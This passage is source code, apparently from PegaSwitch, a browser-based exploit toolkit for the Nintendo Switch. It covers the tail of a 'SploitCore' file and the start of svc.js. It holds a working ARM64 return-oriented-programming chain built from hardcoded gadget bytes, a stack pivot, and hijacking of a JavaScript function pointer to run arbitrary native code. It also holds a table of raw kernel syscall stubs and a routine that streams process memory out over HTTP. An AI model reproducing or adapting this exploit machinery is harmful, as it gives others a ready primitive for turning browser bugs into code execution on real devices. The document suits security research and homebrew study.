0x3f, 0xd6]); 625 | var load_x2_x30_mov_sp_into_x2_br_x30 = this.gadget([0x1d, 0x78, 0x45, 0xa9, 0x02, 0x34, 0x40, 0xf9, 0x5f, 0x00, 0x00, 0x91, 0x08, 0x24, 0x47, 0x6d, 0x0a, 0x2c, 0x48, 0x6d, 0x0c, 0x34, 0x49, 0x6d, 0x0e, 0x3c, 0x4a, 0x6d, 0xe0, 0x03, 0x01, 0xaa, 0x41, 0x00, 0x00, 0xb5, 0x20, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x1f, 0xd6]); 626 | var load_x2_x8_br_x2 = this.gadget([0x02, 0x0d, 0x40, 0xf9, 0x08, 0x15, 0x40, 0xf9, 0xe0, 0x03, 0x01, 0xaa, 0xe1, 0x03, 0x08, 0xaa, 0x40, 0x00, 0x1f, 0xd6]); 627 | var load_x30_from_sp_br_x2 = this.gadget([0xfd, 0x7b, 0x42, 0xa9, 0xff, 0xc3, 0x00, 0x91, 0x40, 0x00, 0x1f, 0xd6]); 628 | var returngadg = this.gadget([0x60, 0x03, 0x3f, 0xd6]); 629 | 630 | var savegadg = this.gadget([0x00, 0x04, 0x00, 0xa9, 0x02, 0x0c, 0x01, 0xa9, 0x04, 0x14, 0x02, 0xa9, 0x06, 0x1c, 0x03, 0xa9]); 631 | var loadgadg = this.gadget([0x02, 0x0c, 0x41, 0xa9, 0x04, 0x14, 0x42, 0xa9, 0x06, 0x1c, 0x43, 0xa9, 0x08, 0x24, 0x44, 0xa9]); 632 | var loadgadg_stage2 = this.gadget([0xe0, 0x07, 0xc1, 0xa8, 0xe2, 0x0f, 0xc1, 0xa8, 0xe4, 0x17, 0xc1, 0xa8, 0xe6, 0x1f, 0xc1, 0xa8]); 633 | 634 | var load_x19 = this.gadget([0xf3, 0x17, 0x40, 0xf9, 0xfd, 0x7b, 0x43, 0xa9, 0xff, 0x03, 0x01, 0x91, 0xc0, 0x03, 0x5f, 0xd6]); 635 | var str_x20 = this.gadget([0x74, 0x0a, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]); 636 | var str_x8 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0x68, 0x02, 0x00, 0xf9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]); 637 | var load_and_str_x8 = this.gadget([0x68, 0x02, 0x40, 0xf9, 0x88, 0x02, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8]); 638 | var str_x1 = this.gadget([0x61, 0x0e, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]); 639 | var mov_x2_into_x1 = this.gadget([0xe1, 0x03, 0x02, 0xaa, 0x00, 0x01, 0x3f, 0xd6, 0xfd, 0x7b, 0xc1, 0xa8, 0xe0, 0x03, 0x1f, 0x2a]); 640 | var str_x0 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0x60, 0x02, 0x00, 0xf9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]); 641 | var str_x9 = this.gadget([0x69, 0x2e, 0x00, 0xf9, 0xfd, 0x7b, 0x41, 0xa9, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]); 642 | var mov_x19_into_x0 = this.gadget([0xfd, 0x7b, 0x41, 0xa9, 0xe0, 0x03, 0x13, 0xaa, 0xf3, 0x07, 0x42, 0xf8, 0xc0, 0x03, 0x5f, 0xd6]); 643 | 644 | // End Gadgets 645 | 646 | var context_load_struct = this.malloc(0x200); 647 | var block_struct_0 = this.malloc(0x200); 648 | var block_struct_1 = this.malloc(0x200); 649 | var block_struct_2 = this.malloc(0x200); 650 | var block_struct_3 = this.malloc(0x200); 651 | var savearea = this.malloc(0x400); 652 | var loadarea = this.malloc(0x400); 653 | var dumparea = this.malloc(0x400); 654 | var allocated_stack = utils.add2(this.fake_stack, 0); // Make a copy. 655 | var base_sp = this.getSP(); 656 | 657 | // Step 0: Load up some initial ROP to launch into full control 658 | 659 | this.write8(utils.add2(cbuf, 0x38), cbuf, 0); // cbuf[0] = cbuf + 0x8 660 | this.write8(load_x2_x8_br_x2, cbuf, 0x8 >> 2); // Third gadget 661 | this.write8(load_x0_w1_x2_x9_blr_x9, cbuf, 0x18 >> 2); // Fourth Gadget 662 | this.write8(block_struct_0, cbuf, 0x28 >> 2); // Setup X8 with struct 663 | this.write8(mov_x0_into_x8_load_br_x2, cbuf, 0x38 >> 2); // Second gadget 664 | 665 | // Step 1: Load X8 with a fixed address, control X0:X2 666 | 667 | this.write8(context_load_struct, block_struct_0, 0x00 >> 2); 668 | this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_0, 0x08 >> 2); 669 | this.write8(load_x2_x30_mov_sp_into_x2_br_x30, block_struct_0, 0x10 >> 2); 670 | this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_0, 0x18 >> 2); 671 | this.write8(block_struct_1, block_struct_0, 0x28 >> 2); 672 | 673 | // Step 2: Stack pivot to SP - 0x8000. -0x30 to use a LR-loading gadget. 674 | 675 | this.write8(load_x2_x8_br_x2, context_load_struct, 0x58 >> 2); 676 | this.write8(allocated_stack, context_load_struct, 0x68 >> 2); 677 | this.write8(returngadg, context_load_struct, 0x158 >> 2); 678 | this.write8(base_sp, context_load_struct, 0x168 >> 2); 679 | 680 | // Step 3: Perform a full context-save of all registers to savearea. 681 | 682 | this.write8(savearea, block_struct_1, 0x0 >> 2); 683 | this.write8(load_x30_from_sp_br_x2, block_struct_1, 0x10 >> 2); 684 | this.write8(load_x0_w1_x2_x9_blr_x9, block_struct_1, 0x18 >> 2); 685 | this.write8(block_struct_2, block_struct_1, 0x28 >> 2); 686 | this.write8(savegadg, block_struct_1, 0x38 >> 2); 687 | 688 | this.write8(load_x2_x8_br_x2, allocated_stack, 0x28 >> 2); 689 | 690 | var sp = utils.add2(allocated_stack, 0x30); 691 | 692 | // Step 4: Perform a full context-load from a region we control. 693 | 694 | this.write8(loadarea, block_struct_2, 0x00 >> 2); 695 | this.write8(loadgadg, block_struct_2, 0x10 >> 2); 696 | 697 | // Step 5: Write desired register contents to the context load region. 698 | 699 | this.write8(sp, loadarea, 0xF8 >> 2); // Can write an arbitrary stack ptr here, for argument passing 700 | this.write8(loadgadg_stage2, loadarea, 0x100 >> 2); // Return from load to load-stage2 701 | 702 | // Write registers for native code. 703 | if (registers.length > 9) { 704 | for (i = 9; i < 30 && i < registers.length; i++) { 705 | this.write8(registers[i], loadarea, (8 * i) >> 2); 706 | } 707 | } 708 | 709 | if (registers.length > 0) { 710 | for (i = 0; i <= 8 && i < registers.length; i++) { 711 | this.write8(registers[i], sp, (0x8 * i) >> 2); 712 | } 713 | 714 | if (registers.length > 19) { 715 | this.write8(registers[19], sp, 0x48 >> 2); 716 | } 717 | 718 | if (registers.length > 29) { 719 | this.write8(registers[29], sp, 0x50 >> 2); 720 | } 721 | } 722 | 723 | if (args.length > 0) { 724 | for (i = 0; i < args.length && i < 8; i++) { 725 | this.write8(args[i], sp, (0x8 * i) >> 2); 726 | } 727 | } 728 | 729 | if (fargs.length > 0) { 730 | for (i = 0; i < fargs.length && i < 32; i++) { 731 | this.write8(fargs[i], loadarea, (0x110 + 8 * i) >> 2); 732 | } 733 | } 734 | 735 | this.write8(funcptr, loadarea, 0x80 >> 2); // Set the code to call to our function pointer. 736 | this.write8(load_x19, sp, 0x58 >> 2); // Set Link Register for our arbitrary function to point to cleanup rop 737 | 738 | // Stack arguments would be bottomed-out at sp + 0xE0... 739 | // TODO: Stack arguments support. Would just need to figure out how much space they take up 740 | // and write ROP above them. Note: the user would have to call code that actually used 741 | // that many stack arguments, or shit'd crash. 742 | 743 | // ROP currently begins at sp + 0xE0 744 | 745 | // Step 6: [Arbitrary code executes here] 746 | 747 | // Step 7: Post-code execution cleanup. Dump all registers to another save area, 748 | // return cleanly to javascript. 749 | 750 | this.write8(utils.add2(dumparea, 0x300 - 0x10), sp, (0x060 + 0x28) >> 2); // Load X19 = dumparea + 0x300 - 0x10 751 | this.write8(str_x20, sp, (0x060 + 0x38) >> 2); // Load LR with str_x20 752 | this.write8(utils.add2(dumparea, 0x308), sp, (0x0A0 + 0x8) >> 2); // Load X19 = dumparea + 0x308 753 | this.write8(str_x8, sp, (0x0A0 + 0x18) >> 2); // Load LR with str_x8 754 | this.write8(utils.add2(dumparea, 0x310 - 0x18), sp, (0x0C0 + 0x0) >> 2); // Load X19 = dumparea + 0x310 - 0x18 755 | this.write8(str_x1, sp, (0x0C0 + 0x18) >> 2); // Load LR with str_x1 756 | this.write8(utils.add2(dumparea, 0x3F8), sp, (0x0E0 + 0x0) >> 2); // Load X20 with scratch space 757 | this.write8(utils.add2(dumparea, 0x380), sp, (0x0E0 + 0x8) >> 2); // Load X19 = dumparea + 0x380 758 | this.write8(str_x1, dumparea, 0x380 >> 2); // Write str_x1 to dumparea + 0x380 759 | this.write8(load_and_str_x8, sp, (0x0E0 + 0x18) >> 2); // Load LR with Load, STR X8 760 | this.write8(utils.add2(dumparea, 0x318 - 0x18), sp, (0x100 + 0x8) >> 2); // Load X19 = dumparea + 0x318 - 0x18 761 | this.write8(mov_x2_into_x1, sp, (0x100 + 0x18) >> 2); // Load LR with mov x1, x2 762 | this.write8(utils.add2(dumparea, 0x3F8), sp, (0x120 + 0x0) >> 2); // Load X20 with scratch space 763 | this.write8(utils.add2(dumparea, 0x320), sp, (0x120 + 0x8) >> 2); // Load X19 = dumparea + 0x320 764 | this.write8(str_x0, sp, (0x120 + 0x18) >> 2); // Load LR with str x0 765 | this.write8(utils.add2(dumparea, 0x388), sp, (0x140 + 0x0) >> 2); // Load X19 = dumparea + 0x388 766 | this.write8(utils.add2(dumparea, 0x320), dumparea, 0x388 >> 2); // Write dumparea + 0x320 to dumparea + 0x388 767 | this.write8(load_and_str_x8, sp, (0x140 + 0x18) >> 2); // Load LR with load, STR X8 768 | this.write8(utils.add2(dumparea, 0x3F8), sp, (0x160 + 0x0) >> 2); // Load X20 with scratch space 769 | this.write8(utils.add2(dumparea, 0x328 - 0x58), sp, (0x160 + 0x8) >> 2); // Load X19 = dumparea + 0x328 - 0x58 770 | this.write8(str_x9, sp, (0x160 + 0x18) >> 2); // Load LR with STR X9 771 | this.write8(utils.add2(dumparea, 0x390), sp, (0x180 + 0x0) >> 2); // Load X19 with dumparea + 0x390 772 | this.write8(block_struct_3, dumparea, 0x390 >> 2); // Write block struct 3 to dumparea + 0x390 773 | this.write8(load_and_str_x8, sp, (0x180 + 0x18) >> 2); // Load LR with load, STR X8 774 | this.write8(load_x0_w1_x2_x9_blr_x9, sp, (0x1A0 + 0x18) >> 2); // Load LR with gadget 2 775 | 776 | // Block Struct 3 777 | this.write8(dumparea, block_struct_3, 0x00 >> 2); 778 | this.write8(load_x30_from_sp_br_x2, block_struct_3, 0x10 >> 2); 779 | this.write8(savegadg, block_struct_3, 0x38 >> 2); 780 | 781 | this.write8(utils.add2(str_x20, 0x4), sp, (0x1C0 + 0x28) >> 2); // Load LR with LD X19, X20, X30 782 | this.write8(utils.add2(savearea, 0xF8), sp, (0x1F0 + 0x0) >> 2); // Load X20 with savearea + 0xF8 (saved SP) 783 | this.write8(utils.add2(dumparea, 0x398), sp, (0x1F0 + 0x8) >> 2); // Load X19 with dumparea + 0x398 784 | this.write8(base_sp, dumparea, 0x398 >> 2); // Write SP to dumparea + 0x38 785 | this.write8(load_and_str_x8, sp, (0x1F0 + 0x18) >> 2); // Load X30 with LD, STR X8 786 | this.write8(utils.add2(savearea, 0x100), sp, (0x210 + 0x0) >> 2); // Load X20 with savearea + 0x100 (saved LR) 787 | this.write8(utils.add2(dumparea, 0x3A0), sp, (0x210 + 0x8) >> 2); // Load X19 with dumparea + 0x3A0 788 | this.write8(returngadg, dumparea, 0x3A0 >> 2); // Write return gadget to dumparea + 0x3A0 789 | this.write8(load_and_str_x8, sp, (0x210 + 0x18) >> 2); // Load X30 with LD, STR X8 790 | this.write8(utils.add2(savearea, 0xC0), sp, (0x230 + 0x0) >> 2); // Load X20 with savearea + 0xC0 (saved X24) 791 | this.write8(utils.add2(dumparea, 0x3A8), sp, (0x230 + 0x8) >> 2); // Load X19 with dumparea + 0x3A8 792 | this.write8([0x00000000, 0xffff0000], dumparea, 0x3A8 >> 2); // Write return gadget to dumparea + 0x3A8 793 | this.write8(load_and_str_x8, sp, (0x230 + 0x18) >> 2); // Load X30 with LD, STR X8 794 | this.write8(savearea, sp, (0x250 + 0x8) >> 2); // Load X19 with savearea 795 | this.write8(mov_x19_into_x0, sp, (0x250 + 0x18) >> 2); // Load X30 with mov x0, x19. 796 | this.write8(loadgadg, sp, (0x270 + 0x18) >> 2); // Load X30 with context load 797 | 798 | utils.dlog('Assigning function pointer'); 799 | 800 | var funcaddr = this.getFuncAddr(); 801 | utils.dlog('Function object at ' + utils.paddr(funcaddr)); 802 | var curptr = this.read8(funcaddr, 8); 803 | this.write8(jaddr, funcaddr, 8); 804 | utils.dlog('Patched function address from ' + utils.paddr(curptr) + ' to ' + utils.paddr(this.read8(funcaddr, 8))); 805 | utils.dlog('Jumping.'); 806 | this.func.apply(0x100, [0, 0, 0, 0, 0, 0, 0, 0, carr, 0, 0, 0, 0, 0, 0, 0, 0]); 807 | utils.dlog('Jumped back.'); 808 | 809 | this.write8(curptr, funcaddr, 8); 810 | utils.dlog('Restored original function pointer.'); 811 | 812 | var ret = this.read8(dumparea, 0x320 >> 2); 813 | 814 | if (dump_regs) { 815 | utils.log('Register dump post-code execution:'); 816 | for (var i = 0; i <= 30; i++) { 817 | if (i === 0) { 818 | utils.log('X0: ' + utils.paddr(this.read8(dumparea, 0x320 >> 2))); 819 | } else if (i === 1) { 820 | utils.log('X1: ' + utils.paddr(this.read8(dumparea, 0x310 >> 2))); 821 | } else if (i === 2) { 822 | utils.log('X2: ' + utils.paddr(this.read8(dumparea, 0x318 >> 2))); 823 | } else if (i === 8) { 824 | utils.log('X8: ' + utils.paddr(this.read8(dumparea, 0x308 >> 2))); 825 | } else if (i === 9) { 826 | utils.log('X9: ' + utils.paddr(this.read8(dumparea, 0x328 >> 2))); 827 | } else if (i === 20) { 828 | utils.log('X20: ' + utils.paddr(this.read8(dumparea, 0x300 >> 2))); 829 | } else if (i === 16 || i === 19 || i === 29 || i === 30) { 830 | utils.log('X' + i + ': Not dumpable.'); 831 | } else { 832 | utils.log('X' + i + ': ' + utils.paddr(this.read8(dumparea, (8 * i) >> 2))); 833 | } 834 | } 835 | } 836 | 837 | utils.dlog('Native code at ' + utils.paddr(funcptr) + ' returned: ' + utils.paddr(ret)); 838 | 839 | this.free(context_load_struct); 840 | this.free(block_struct_0); 841 | this.free(block_struct_1); 842 | this.free(block_struct_2); 843 | this.free(block_struct_3); 844 | this.free(savearea); 845 | this.free(loadarea); 846 | this.free(dumparea); 847 | 848 | utils.dlog('Freed all buffers'); 849 | 850 | utils.dlog('Forcing garbage collection...'); 851 | this.gc(); 852 | utils.dlog('Collected garbage!'); 853 | 854 | return ret; 855 | }; 856 | 857 | /** 858 | Call a specific svc with arguments 859 | @param {number} id - ID of the SVC 860 | @param {Array.} args - Arguments to pass 861 | @param {boolean} dump_regs - Dump registers 862 | */ 863 | SploitCore.prototype.svc = function (id, args, dump_regs) { 864 | var svc_list = { 865 | 0x01: [0xE0, 0x0F, 0x1F, 0xF8, 0x21, 0x00, 0x00, 0xD4], 866 | 0x02: [0x41, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 867 | 0x03: [0x61, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 868 | 0x04: [0x81, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 869 | 0x05: [0xA1, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 870 | 0x06: [0xE1, 0x0F, 0x1F, 0xF8, 0xC1, 0x00, 0x00, 0xD4], 871 | 0x07: [0xE1, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 872 | 0x08: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x01, 0x00, 0xD4], 873 | 0x09: [0x21, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 874 | 0x0A: [0x41, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 875 | 0x0B: [0x61, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 876 | 0x0C: [0xE0, 0x0F, 0x1F, 0xF8, 0x81, 0x01, 0x00, 0xD4], 877 | 0x0D: [0xA1, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 878 | 0x0E: [0xE0, 0x07, 0xBF, 0xA9, 0xC1, 0x01, 0x00, 0xD4], 879 | 0x0F: [0xE1, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 880 | 0x10: [0x01, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 881 | 0x11: [0x21, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 882 | 0x12: [0x41, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 883 | 0x13: [0x61, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 884 | 0x14: [0x81, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 885 | 0x15: [0xE0, 0x0F, 0x1F, 0xF8, 0xA1, 0x02, 0x00, 0xD4], 886 | 0x16: [0xC1, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 887 | 0x17: [0xE1, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 888 | 0x18: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x03, 0x00, 0xD4], 889 | 0x19: [0x21, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 890 | 0x1A: [0x41, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 891 | 0x1B: [0x61, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 892 | 0x1C: [0x81, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 893 | 0x1D: [0xA1, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 894 | // 0x1E: , 895 | 0x1F: [0xE0, 0x0F, 0x1F, 0xF8, 0xE1, 0x03, 0x00, 0xD4], 896 | // 0x20: , 897 | 0x21: [0x21, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 898 | 0x22: [0x41, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 899 | // 0x23: 0x, 900 | // 0x24: 0x, 901 | 0x25: [0xE0, 0x0F, 0x1F, 0xF8, 0xA1, 0x04, 0x00, 0xD4], 902 | 0x26: [0xC1, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 903 | 0x27: [0xE1, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 904 | 0x28: [0x01, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 905 | 0x29: [0xE0, 0x0F, 0x1F, 0xF8, 0x21, 0x05, 0x00, 0xD4], 906 | // 0x2A-0x2B 907 | 0x2C: [0x81, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 908 | 0x2D: [0xA1, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 909 | // 0x2E-0x4F 910 | 0x50: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x0A, 0x00, 0xD4], 911 | 0x51: [0x21, 0x0A, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6], 912 | 0x52: [0x41, 0x0A, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6] 913 | }; 914 | 915 | if (!(id in svc_list)) { 916 | throw new Error('Failed to call svc 0x' + id.toString(16) + '.'); 917 | } 918 | 919 | return this.call(this.gadget(svc_list[id]), args, [], [], dump_regs); 920 | }; 921 | 922 | /** 923 | TODO DOCS 924 | */ 925 | SploitCore.prototype.getTLS = function () { 926 | return this.call(this.gadget([0x60, 0xd0, 0x3b, 0xd5, 0xc0, 0x03, 0x5f, 0xd6]), []); 927 | }; 928 | 929 | /** 930 | TODO DOCS 931 | */ 932 | SploitCore.prototype.str2buf = function (inp) { 933 | var len = inp.length + 1; 934 | var v = this.malloc(len); 935 | this.memview(v, len, function (view) { 936 | var u8b = new Uint8Array(view); 937 | for (var j = 0; j < len; ++j) { u8b[j] = inp.charCodeAt(j); } 938 | u8b[inp.length] = 0; 939 | }); 940 | 941 | return v; 942 | }; 943 | 944 | /** 945 | Initiate a memory dump over HTTP 946 | @param {u64} offset - Memory address to start from 947 | @param {number} size - Number of bytes you wish to dump 948 | @param {string} fileName - Name of file, used to set Content-Disposition 949 | */ 950 | SploitCore.prototype.memdump = function (offset, size, fileName) { 951 | if(ArrayBuffer.isView(offset) || offset instanceof ArrayBuffer) { 952 | offset = this.getArrayBufferAddr(offset); 953 | } 954 | var totalSize = utils.trunc32(size); 955 | var idx = 0; 956 | 957 | utils.dlog('Dumping memory!'); 958 | for (var idx = 0; idx < totalSize; idx += 0x800000) { 959 | size = totalSize - idx; 960 | size = size > 0x800000 ? 0x800000 : size; 961 | 962 | this.memview(utils.add2(offset, idx), size, function (ab) { 963 | var view = new Uint8Array(ab); 964 | var xhr = new XMLHttpRequest(); 965 | xhr.open('POST', '/filedump', false); 966 | xhr.setRequestHeader('Content-Type', 'application/octet-stream'); 967 | xhr.setRequestHeader('Content-Disposition', fileName); 968 | xhr.send(view); 969 | }); 970 | } 971 | utils.dlog('Dumped memory succesfully!'); 972 | }; 973 | 974 | /** 975 | Forces the garbage collector to run 976 | */ 977 | SploitCore.prototype.gc = function () { 978 | utils.dlog('Beginning GC force'); 979 | function sub (depth) { 980 | utils.dlog('GC force ' + depth); 981 | if (depth > 0) { 982 | var arr = []; 983 | utils.dlog('Building...'); 984 | for (var i = 0; i < 10; ++i) { 985 | arr.push(new Uint8Array(0x40000)); 986 | } 987 | utils.dlog('Shifting...'); 988 | while (arr.length > 0) { 989 | arr.shift(); 990 | } 991 | sub(depth - 1); 992 | } 993 | } 994 | sub(20); 995 | utils.dlog('GC should be solid'); 996 | }; 997 | 998 | /** 999 | Reads a string from memory 1000 | @param {u64} addr - Address to start from 1001 | @param {number} length - Number of bytes to read 1002 | @returns {string} 1003 | */ 1004 | SploitCore.prototype.readString = function (addr, length) { 1005 | if (arguments.length === 1) { 1006 | length = -1; 1007 | } 1008 | 1009 | return this.memview(addr, 0xFFFFFFFF, function (view) { 1010 | var u8b = new Uint8Array(view); 1011 | var out = ''; 1012 | 1013 | for (var i = 0; (length === -1 && u8b[i] !== 0) || (length !== -1 && i < length); i++) { 1014 | out += String.fromCharCode(u8b[i]); 1015 | } 1016 | 1017 | return out; 1018 | }); 1019 | }; 1020 | 1021 | SploitCore.prototype.enableTurbo = function() { 1022 | this.turbo = true; 1023 | if(!this.altcaller) { 1024 | this.altcaller = new AltCaller(this); 1025 | } 1026 | }; 1027 | 1028 | SploitCore.prototype.disableTurbo = function() { 1029 | this.turbo = false; 1030 | } 1031 | 1032 | /** 1033 | Copy memory from one region to another 1034 | @param {u64} dst - Base destination address 1035 | @param {u64} src - Base source address 1036 | @param {number} size - Number of bytes to copy 1037 | */ 1038 | SploitCore.prototype.memcpy = function (dst, src, size) { 1039 | this.call(this.gadget('eb0301cb690940923f0102eb62020054c90200b4e80301aaea0300aa'), [dst, src, size]); 1040 | }; 1041 | 1042 | SploitCore.prototype.IFile = IFile; 1043 | SploitCore.prototype.IFileSystem = IFileSystem; 1044 | SploitCore.prototype.IDirectory = IDirectory; 1045 | 1046 | module.exports = SploitCore; 1047 | -------------------------------------------------------------------------------- /pegaswitch/exploit/svc.js: -------------------------------------------------------------------------------- 1 | var Result = require('./Result'); 2 | var ResultCode = require('./ResultCode'); 3 | var utils = require('./utils'); 4 | 5 | var svcMixin = {}; 6 | svcMixin.svcWithResult = function (id, args, dumpRegs) { 7 | var ret = this.svc(id, args, dumpRegs); 8 | if (ret[0] !== 0 || ret[1] !== 0) { 9 | return new Result.Err(new ResultCode(ret)); 10 | } else { 11 | return Result.NullOk; 12 | } 13 | }; 14 | 15 | /* 16 | Usages: 17 | svcCreateTransferMemory(size) 18 | svcCreateTransferMemory(arrayBuffer) 19 | svcCreateTransferMemory(address, size) 20 | svcCreateTransferMemory(arrayBuffer, permission) 21 | svcCreateTransferMemory(address, size, permission) 22 | */ 23 | svcMixin.svcCreateTransferMemory = function () { 24 | var address; 25 | var size; 26 | var permission = 0; 27 | switch (arguments.length) { 28 | case 0: 29 | throw new Error('expected at least one argument'); 30 | case 1: 31 | if (Array.isArray(arguments[0]) || typeof (arguments[0]) === 'number') { 32 | size = arguments[0]; 33 | break; 34 | } 35 | if (arguments[0] instanceof ArrayBuffer) { 36 | if (!this.isBrowser) { 37 | throw new Error("don't try to make transfer memory with ArrayBuffers if you're not the browser please"); 38 | } 39 | address = this.getArrayBufferAddr(arguments[0]); 40 | size = [arguments[0].byteLength, 0]; 41 | break; 42 | } 43 | throw new Error('invalid usage, single argument is expected to be a size, typed array, or ArrayBuffer'); 44 | case 2: 45 | if (Array.isArray(arguments[0])) { 46 | address = arguments[0]; 47 | size = arguments[1]; 48 | break; 49 | } 50 | if (arguments[0] instanceof ArrayBuffer) { 51 | if (!this.isBrowser) { 52 | throw new Error("don't try to make transfer memory with ArrayBuffers if you're not the browser please"); 53 | } 54 | address = this.getArrayBufferAddr(arguments[0]); 55 | size = arguments[0].byteLength; 56 | permission = arguments[1]; 57 | break; 58 | } 59 | throw new Error('invalid usage, expected (address, size) or (arrayBuffer, permission)'); 60 | case 3: 61 | address = arguments[0]; 62 | size = arguments[1]; 63 | permission = arguments[2]; 64 | break; 65 | default: 66 | throw new Error('invalid usage'); 67 | } 68 | if (address === undefined) { 69 | address = this.malloc(size); 70 | } 71 | 72 | address = utils.pad64(address); 73 | size = utils.pad64(size); 74 | permission = utils.pad64(permission); 75 | 76 | var handleBuffer = new Uint32Array(2); 77 | return this.svcWithResult(0x15, [handleBuffer, address, size, permission]).replaceValue(handleBuffer[0]); 78 | }; 79 | 80 | /* 81 | Usages: 82 | svcCreateSharedMemory(size) 83 | svcCreateSharedMemory(size, permission) 84 | svcCreateSharedMemory(size, permission1, permission2) 85 | */ 86 | svcMixin.svcCreateSharedMemory = function (size, permission1, permission2) { 87 | if (permission1 === undefined) { 88 | permission1 = 3; // RW 89 | } 90 | if (permission2 === undefined) { 91 | permission2 = permission1; 92 | } 93 | 94 | if (typeof (size) === 'number') { size = [size, 0]; } 95 | if (typeof (permission1) === 'number') { permission1 = [permission1, 0]; } 96 | if (typeof (permission2) === 'number') { permission2 = [permission2, 0]; } 97 | 98 | if (!Array.isArray(size)) { throw new Error('invalid size type'); } 99 | if (!Array.isArray(permission1)) { throw new Error('invalid permission1 type'); } 100 | if (!Array.isArray(permission2)) { throw new Error('invalid permission2 type'); } 101 | 102 | var handleBuffer = new Uint32Array(2); 103 | return this.svcWithResult(0x50, [handleBuffer, size, permission1, permission2]).replaceValue(handleBuffer[0]); 104 | }; 105 | 106 | /* 107 | Usages: 108 | svcMapSharedMemory(handle, size) 109 | svcMapSharedMemory(handle, size, perm) 110 | svcMapSharedMemory(handle, addr, size, perm) 111 | 112 | Returns: 113 | Mapped address 114 | */ 115 | svcMixin.svcMapSharedMemory = function (handle) { 116 | var size; 117 | var addr; 118 | var perm = 3; 119 | switch (arguments.length) { 120 | case 3: 121 | perm = arguments[2]; 122 | // fallthrough 123 | case 2: 124 | size = arguments[1]; 125 | addr = this.findUnmappedRegion(size); 126 | break; 127 | case 4: 128 | addr = arguments[1]; 129 | size = arguments[2]; 130 | perm = arguments[3]; 131 | break; 132 | default: 133 | throw new Error('invalid usage'); 134 | } 135 | 136 | return this.svcWithResult(0x13, [handle, addr, size, perm]).replaceValue(addr); 137 | }; 138 | 139 | /* 140 | Usages: 141 | svcMapTransferMemory(handle, size) 142 | svcMapTransferMemory(handle, size, perm) 143 | svcMapTransferMemory(handle, addr, size, perm) 144 | 145 | Returns: 146 | Mapped address 147 | */ 148 | svcMixin.svcMapTransferMemory = function (handle) { 149 | var size; 150 | var addr; 151 | var perm = 3; 152 | switch (arguments.length) { 153 | case 3: 154 | perm = arguments[2]; 155 | // fallthrough 156 | case 2: 157 | size = arguments[1]; 158 | addr = this.findUnmappedRegion(size); 159 | break; 160 | case 4: 161 | addr = arguments[1]; 162 | size = arguments[2]; 163 | perm = arguments[3]; 164 | break; 165 | default: 166 | throw new Error('invalid usage'); 167 | } 168 | 169 | return this.svcWithResult(0x51, [handle, addr, size, perm]).replaceValue(addr); 170 | }; 171 | 172 | svcMixin.svcUnmapTransferMemory = function (handle, addr, size) { 173 | return this.svcWithResult(0x52, [handle, addr, size]); 174 | }; 175 | 176 | svcMixin.svcGetSystemTick = function () { 177 | var info = new Uint32Array(2); 178 | return this.svcWithResult(0x29, [info, 10, 0, [0xFFFFFFFF, 0xFFFFFFFF]]).replaceValue([info[0], info[1]]); // GetSystemTick 179 | }; 180 | 181 | svcMixin.svcQueryMem = function (addr, raw) { 182 | if (arguments.length === 1) { raw = false; } 183 | 184 | var meminfo = new Uint32Array(12); 185 | var pageinfo 